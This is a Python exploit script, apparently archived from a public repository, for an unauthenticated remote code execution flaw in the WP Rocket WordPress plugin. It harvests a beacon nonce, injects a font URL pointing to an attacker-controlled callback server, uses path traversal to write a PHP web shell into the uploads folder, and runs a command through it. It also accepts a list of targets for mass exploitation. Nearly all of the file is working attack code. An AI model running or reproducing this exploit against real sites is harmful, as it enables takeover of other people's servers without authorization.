#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/joshuavanderpoll/CVE-2026-125812 (MIT)
# Exploit Title: WP Rocket < 3.24.2 - Unauthenticated Remote Code Execution
# Date: 2026-11-25
# Exploit Author: Joshua van der Poll
# Vendor Homepage: https://wp-rocket.me/
# Version: WP Rocket < 3.24.2
# Tested on: WordPress 6.6 / PHP 8.1 / Debian
# CVE: CVE-2026-125812
# CVSS: 9.8 (Critical), CWE-22
# Repo: https://github.com/joshuavanderpoll/CVE-2026-125812

import argparse
import json
import re
import sys
import time

import requests

R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
B = "\033[94m"
PINK = "\033[95m"
C = "\033[96m"
W = "\033[97m"
BOLD = "\033[1m"
DIM = "\033[2m"
RST = "\033[0m"

REPO = "https://github.com/joshuavanderpoll/CVE-2026-125812"

BANNER = rf"""
{PINK}{BOLD}   _____   _____   ___ __ ___  __     _ ___ ___  ___ _ ___
  / __\ \ / / __|_|_  )  \_  )/ / ___/ |_  ) __|( _ ) |_  )
 | (__ \ V /| _|___/ / () / // _ \___| |/ /|__ \/ _ \ |/ /
  \___| \_/ |___| /___\__/___\___/   |_/___|___/\___/_/___|{RST}

{DIM}  WP Rocket <= 3.24.1 | CVE-2026-125812{RST}
{DIM}{BOLD}  {REPO}{RST}
"""

DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-125812; +{REPO})"
DEFAULT_TIMEOUT = 10

PROBE_PATHS = ["/", "/sample-page/", "/?p=2", "/?p=1"]

session = requests.Session()


def normalize_url(url):
    url = url.strip()
    if not url:
        return ""
    if not re.match(r"https?://", url, re.IGNORECASE):
        url = "http://" + url
    return url.rstrip("/")


def print_target_info(response):
    server = response.headers.get("Server", "")
    if server:
        print(f"  {B}[*]{RST} Server:   {BOLD}{server}{RST}")

    php = response.headers.get("X-Powered-By", "")
    if php:
        print(f"  {B}[*]{RST} PHP:      {BOLD}{php}{RST}")

    m = re.search(r'<meta name="generator" content="([^"]+)"', response.text)
    if m:
        print(f"  {B}[*]{RST} CMS:      {BOLD}{m.group(1)}{RST}")


def print_beacon_info(response):
    m = re.search(r'"status"\s*:\s*(\{[^}]+\})', response.text)
    if not m:
        return

    try:
        status = json.loads(m.group(1))
    except ValueError:
        return

    enabled = [k for k, v in status.items() if v]
    if enabled:
        print(f"  {B}[*]{RST} Beacon:   {BOLD}{', '.join(enabled)}{RST}")


def harvest_nonce(target, timeout):
    info_printed = False

    for path in PROBE_PATHS:
        url = target.rstrip("/") + path

        try:
            r = session.get(url, timeout=timeout)
            r.raise_for_status()
        except requests.RequestException:
            continue

        if not info_printed:
            print_target_info(r)
            info_printed = True

        m = re.search(r'"nonce"\s*:\s*"([a-f0-9]+)"', r.text)

        if m:
            print_beacon_info(r)
            print(f"\n  {C}[@]{RST} Harvesting beacon nonce...")
            print(f"  {G}[+]{RST} Nonce {BOLD}{m.group(1)}{RST} from {path}")
            return m.group(1), url

    print(f"  {R}[-]{RST} Beacon nonce not found on any page")
    sys.exit(1)


def beacon_inject(target, nonce, page_url, font_url, timeout):
    return session.post(
        target.rstrip("/") + "/wp-admin/admin-ajax.php",
        data={
            "action": "rocket_beacon",
            "rocket_beacon_nonce": nonce,
            "url": page_url,
            "is_mobile": "false",
            "status": "success",
            "results": json.dumps({"preload_fonts": [font_url]}),
        },
        timeout=timeout,
    )


def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-125812: WP Rocket < 3.24.2 Unauthenticated RCE",
        add_help=False,
    )
    parser.add_argument("target", nargs="?", help="WordPress target URL")
    parser.add_argument("callback", nargs="?", help="Callback server URL")
    parser.add_argument(
        "-targets",
        help="File with target URLs (one per line)",
    )
    parser.add_argument(
        "-useragent",
        default=DEFAULT_UA,
        help=f"Custom User-Agent (default: {DEFAULT_UA})",
    )
    parser.add_argument(
        "-timeout",
        type=int,
        default=DEFAULT_TIMEOUT,
        help=f"Request timeout in seconds (default: {DEFAULT_TIMEOUT})",
    )

    args = parser.parse_args()

    if not args.callback or (not args.target and not args.targets):
        print(BANNER)
        print(f"  {R}[-]{RST} Usage: {sys.argv[0]} <target> <callback_url> [options]")
        print(f"  {R}[-]{RST}    or: {sys.argv[0]} -targets <file> <callback_url> [options]")
        print(
            f"  {B}[*]{RST} Example: {sys.argv[0]} http://target.com https://evil.com"
        )
        print(
            f"\n  {DIM}The callback server must serve:{RST}"
            f"\n  {DIM}  GET //fonts.googleapis.com/css2/x.woff2"
            f"  -> CSS with url(<callback>/<traversal>){RST}"
            f"\n  {DIM}  GET /<traversal>"
            f"  -> file content to write (e.g. PHP payload){RST}"
        )
        print(f"\n  {DIM}Options:{RST}")
        print(f"  {DIM}  -targets <file>      File with target URLs (one per line){RST}")
        print(f"  {DIM}  -useragent <string>  Custom User-Agent header{RST}")
        print(f"  {DIM}  -timeout <seconds>   Request timeout (default: {DEFAULT_TIMEOUT}){RST}")
        sys.exit(1)

    return args


def exploit(target, callback, timeout):
    shell_rel = "wp-content/uploads/shell.php"
    shell_url = target + "/" + shell_rel
    beacon_font = f"{callback}//fonts.googleapis.com/css2/x.woff2"

    print(f"  {B}[*]{RST} Target:   {BOLD}{target}{RST}")
    print(f"  {B}[*]{RST} Callback: {BOLD}{callback}{RST}\n")

    nonce, page_url = harvest_nonce(target, timeout)

    print(f"  {C}[@]{RST} Injecting font URL via beacon...")
    r = beacon_inject(target, nonce, page_url, beacon_font, timeout)

    try:
        data = r.json()
    except ValueError:
        data = {}

    if r.status_code == 200 and data.get("success"):
        print(f"  {G}[+]{RST} Beacon accepted")
    else:
        print(f"  {R}[-]{RST} Beacon rejected: {r.text[:120]}")
        return False

    print(f"  {C}[@]{RST} Triggering font optimization pipeline...")
    time.sleep(1)
    session.get(page_url, timeout=timeout + 20)
    time.sleep(2)

    print(f"  {C}[@]{RST} Checking for shell...")
    r = session.get(shell_url, params={"cmd": "id"}, timeout=timeout)

    if r.status_code == 200 and r.text.strip():
        print(f"  {G}[+]{RST} Shell written!\n")
        print(f"  {B}[*]{RST} {shell_url}\n")
        print(f"  {W}{r.text.strip()}{RST}\n")
        return True

    print(f"  {R}[-]{RST} Shell not found ({r.status_code})")
    print(f"  {Y}[?]{RST} Check: auto_preload_fonts + host_fonts_locally enabled,")
    print(f"      callback server reachable from target, serving correct payloads")
    return False


def main():
    args = parse_args()
    callback = normalize_url(args.callback)
    timeout = args.timeout

    session.headers["User-Agent"] = args.useragent

    targets = []
    if args.targets:
        with open(args.targets) as f:
            targets = [normalize_url(line) for line in f if line.strip()]
    if args.target:
        targets.insert(0, normalize_url(args.target))

    print(BANNER)

    success = 0
    for i, target in enumerate(targets):
        if i > 0:
            print(f"\n  {'=' * 60}\n")

        try:
            if exploit(target, callback, timeout):
                success += 1
        except requests.RequestException as e:
            print(f"  {R}[-]{RST} Connection error: {e}")

    if len(targets) > 1:
        print(f"\n  {B}[*]{RST} Results: {BOLD}{success}/{len(targets)}{RST} targets vulnerable\n")

    if success > 0:
        print(
            f"  {Y}⭐ If this tool helped you, consider starring the repo:"
            f" {BOLD}{Y}{REPO}{RST}\n"
        )


if __name__ == "__main__":
    main()
